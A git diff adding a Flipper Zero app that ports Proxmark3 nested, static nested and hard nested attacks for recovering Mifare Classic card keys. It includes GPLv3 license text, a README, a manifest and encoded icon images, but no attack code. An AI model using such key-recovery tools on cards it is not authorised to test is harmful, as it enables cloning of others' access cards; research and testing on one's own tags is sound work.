party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/applications/external/mifare_nested/README.md b/applications/external/mifare_nested/README.md new file mode 100644 index 000000000..9d5031725 --- /dev/null +++ b/applications/external/mifare_nested/README.md @@ -0,0 +1,38 @@ +# Mifare Nested Attacks for Flipper Zero + +Ported Nested attacks from Proxmark3 (Iceman fork) + +This is not original Repo of this app! Please follow this link to find latest original source and support the author! +[Flipper (Mifare) Nested (by AloneLiberty)](https://github.com/AloneLiberty/FlipperNested) + +## Currently supported attacks + + - nested attack + - static nested attack + - hard nested attack + +## Warning + +App is still in early development, so there may be bugs. Your Flipper Zero may randomly crash/froze. Please create issue if you find any bugs (one bug = one issue). In original repo! - https://github.com/AloneLiberty/FlipperNested + +## Disclaimer + +The app provided for personal use only. Developer does not take responsibility for any loss or damage caused by the misuse of this app. In addition, the app developer does not guarantee the performance or compatibility of the app with all tags, and cannot be held liable for any damage caused to your tags/Flipper Zero as a result of using the app. By using this app you confirm that the tag belongs to you, you have permission to preform the attack and you agree to hold the app developer harmless from any and all claims, damages, or losses that may arise from its use. + +## I need **your** help! + +To successfuly recover keys from nested attack we need to correctly predict PRNG value. But we have a problem with that. Due to lack of my knowlege of Flipper Zero NFC HAL, PRNG can jump by quite large values (not like Proxmark3). So app is trying to find a delay where PRNG can be predicted accurately enough. This is not the best option, because we have to try to recover a bunch of unnecessary keys, which takes a lot of time and RAM and also spend a lot of time on timings. I don't know how to fix it. + +UPD: Chameleon Ultra devs [faced same issue](https://youtu.be/_wfikmXNQzE?t=202). They seems to use same method: [nested.c](https://github.com/RfidResearchGroup/ChameleonUltra/blob/main/software/src/nested.c) (better know from the beginning of development...) + +## How to use it? + +Detailed guide: [EN](https://github.com/AloneLiberty/FlipperNested/wiki/Usage-guide), [RU](https://github.com/AloneLiberty/FlipperNested/wiki/%D0%93%D0%B0%D0%B9%D0%B4-%D0%BF%D0%BE-%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8E). + +## FAQ + +For frequently asked questions, please refer to the FAQ: [EN](https://github.com/AloneLiberty/FlipperNested/wiki/FAQ), [RU](https://github.com/AloneLiberty/FlipperNested/wiki/%D0%A7%D0%90%D0%92%D0%9E). + +## Contacts + +Find here: https://github.com/AloneLiberty/FlipperNested diff --git a/applications/external/mifare_nested/TODO.md b/applications/external/mifare_nested/TODO.md new file mode 100644 index 000000000..4610e5c7b --- /dev/null +++ b/applications/external/mifare_nested/TODO.md @@ -0,0 +1,3 @@ +# TODO: + +1. Better (faster) detection of delay in a nested attack diff --git a/applications/external/mifare_nested/application.fam b/applications/external/mifare_nested/application.fam new file mode 100644 index 000000000..9bebd9fd8 --- /dev/null +++ b/applications/external/mifare_nested/application.fam @@ -0,0 +1,25 @@ +App( + appid="mifare_nested", + name="Flipper (Mifare) Nested", + apptype=FlipperAppType.EXTERNAL, + entry_point="mifare_nested_app", + requires=[ + "storage", + "gui", + "nfc" + ], + stack_size=4 * 1024, + order=30, + fap_icon="assets/icon.png", + fap_category="NFC", + fap_private_libs=[ + Lib(name="nested"), + Lib(name="parity"), + Lib(name="crypto1") + ], + fap_icon_assets="assets", + fap_author="AloneLiberty", + fap_description="Recover Mifare Classic keys", + fap_weburl="https://github.com/AloneLiberty/FlipperNested", + fap_version=(1, 4) +) diff --git a/applications/external/mifare_nested/assets/ApplyTag.png b/applications/external/mifare_nested/assets/ApplyTag.png new file mode 100644 index 0000000000000000000000000000000000000000..787c0bcfe01755f4dcadcdce004a1a0fcfb06f41 GIT binary patch literal 3804 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 IrsqTc1+$%)k^lez literal 0 HcmV?d00001 diff --git a/applications/external/mifare_nested/assets/DolphinCry.png b/applications/external/mifare_nested/assets/DolphinCry.png new file mode 100644 index 0000000000000000000000000000000000000000..86d9db1b497cd9e49bb62987cb35075b4bc7a410 GIT binary patch literal 3898 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 